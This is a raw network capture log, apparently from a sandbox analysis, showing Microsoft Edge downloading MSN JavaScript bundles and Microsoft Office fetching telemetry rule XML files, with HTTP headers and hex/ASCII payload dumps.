Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49889	23.200.88.29	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:49 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:50 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 26 Nov 2024 15:31:49 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.200.89.150,b=627835464,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.200.89.150 Akamai-Request-ID: 256c0248 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9659c817.1732635109.256c0248 Vary: Origin
2024-11-26 15:31:50 UTC	15145	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-26 15:31:50 UTC	9443	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 Data Ascii: ion(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice(
2024-11-26 15:31:50 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-26 15:31:50 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-26 15:31:50 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-26 15:31:50 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-26 15:31:50 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-26 15:31:50 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-26 15:31:50 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t
2024-11-26 15:31:50 UTC	15599	IN	Data Raw: 30 30 30 30 33 43 45 33 0d 0a 7d 7d 2c 34 34 31 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 34 38 35 31 30 29 2c 69 3d 6e 28 31 32 35 34 35 29 2c 6f 3d 6e 28 32 35 31 39 37 29 2c 75 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 63 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 61 3d 75 2e 74 6f 53 74 72 69 6e 67 2c 73 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 66 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 28 30 2c 6f 2e 5a 29 28 74 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 28 30 2c 72 2e 5a 29 28 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 28 30 2c 69 Data Ascii: 00003CE3}},44199:function(t,e,n){"use strict";var r=n(48510),i=n(12545),o=n(25197),u=Function.prototype,c=Object.prototype,a=u.toString,s=c.hasOwnProperty,f=a.call(Object);e.Z=function(t){if(!(0,o.Z)(t)\|\|"[object Object]"!=(0,r.Z)(t))return!1;var e=(0,i

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153149Z-174f7845968nxc96hC1EWRspw80000000vcg000000009zms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:49 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153149Z-174f7845968xr5c2hC1EWRd0hn0000000cgg000000007pb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49891	23.200.88.29	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:49 UTC	630	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:50 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: HxbYbI6fIhdaRBln8Sc3OA== Last-Modified: Thu, 21 Nov 2024 21:45:21 GMT ETag: 0x8DD0A75CC92A95D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3f59ebcd-b01e-0085-2e5e-3c96a0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 26 Nov 2024 15:31:50 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.200.89.154,b=717158249,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=3, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.200.89.154 Akamai-Request-ID: 2abef769 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9a59c817.1732635110.2abef769 Vary: Origin
2024-11-26 15:31:50 UTC	15145	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 34 61 32 61 39 65 64 38 32 34 30 64 33 30 30 34 32 33 31 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 7d 29 3b 76 Data Ascii: 00006000/! For license information please see microsoft.4a2a9ed8240d3004231b.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return A}});v
2024-11-26 15:31:50 UTC	9443	IN	Data Raw: 36 2c 72 2e 62 24 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c 61 2e 44 4f 3b 66 75 6e Data Ascii: 6,r.b$,o.HD,o.hj,o.jn,o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,a.DO;fun
2024-11-26 15:31:50 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 5b 72 2e 4d 57 5d 28 61 29 2c 31 3d 3d 3d 65 3f 74 5b 63 2e 79 73 5d 28 73 29 3a 74 5b 63 2e 63 4c 5d 28 73 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 6e 29 7b 76 61 72 20 69 3d 28 30 2c 6f 2e 6a 29 28 65 7c 7c 7b 7d 29 3b 69 26 26 69 5b 72 2e 6d 63 5d 26 26 69 5b 72 2e 6d 63 5d 28 74 2c 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 43 6f 6e 73 6f 6c 65 2c 30 29 2c 6c 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 54 65 6c 65 6d 65 74 72 79 2c 31 29 2c 68 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6d 61 78 4d 65 73 73 61 67 65 4c 69 6d 69 74 2c 32 35 29 2c 66 3d 28 30 2c 61 2e 76 34 29 28 74 5b 72 2e 46 72 5d 2c 21 31 29 Data Ascii: 00006000e[r.MW](a),1===e?t[c.ys](s):t[c.cL](s)}}}function v(t,n){var i=(0,o.j)(e\|\|{});i&&i[r.mc]&&i[r.mc](t,n)}!function(t){n=(0,a.v4)(t.loggingLevelConsole,0),l=(0,a.v4)(t.loggingLevelTelemetry,1),h=(0,a.v4)(t.maxMessageLimit,25),f=(0,a.v4)(t[r.Fr],!1)
2024-11-26 15:31:50 UTC	8204	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 5f 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 75 6e 6c 6f 61 64 28 61 2c 74 29 2c 21 65 7d 2c 61 5b 69 2e 7a 56 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 6e 75 6c 6c 29 2c 28 30 2c 73 2e 6b 4a 29 28 74 29 26 26 28 74 3d 62 28 74 2c 72 2c 65 2c 6e 29 29 2c 76 28 74 7c 7c 61 5b 69 2e 57 32 5d 28 29 2c 65 2c 6e 29 7d 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 65 5b 69 2e 54 43 5d 7c 7c 7b 7d 2c 6f 3d 70 28 74 2c 72 2c 65 2c 6e 29 2e 63 74 78 3b 72 65 74 75 72 6e 20 6f 5b 69 2e 75 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 2e 69 74 65 72 61 74 65 28 28 66 Data Ascii: unction(t){var e=o._next();return e&&e.unload(a,t),!e},a[i.zV]=function(t,n){return void 0===t&&(t=null),(0,s.kJ)(t)&&(t=b(t,r,e,n)),v(t\|\|a[i.W2](),e,n)},a}function m(t,e,n){var r=e[i.TC]\|\|{},o=p(t,r,e,n).ctx;return o[i.uL]=function(t){return o.iterate((f
